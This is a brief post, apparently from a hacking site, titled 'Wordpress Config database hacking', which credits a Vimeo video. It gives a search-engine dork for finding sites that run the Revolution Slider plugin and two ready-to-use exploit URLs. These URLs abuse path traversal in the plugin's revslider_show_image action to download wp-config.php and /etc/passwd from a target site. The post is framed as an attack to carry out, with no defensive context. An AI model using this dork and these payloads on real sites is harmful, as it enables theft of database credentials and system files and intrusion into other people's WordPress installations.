Wordpress Config database hacking

Wordpress Database Hacking from HalidBinVelid on Vimeo.


Dork: revslider.php “index of”

Exploit: 
Siteadı.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php
Siteadı.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../../../../../etc/passwd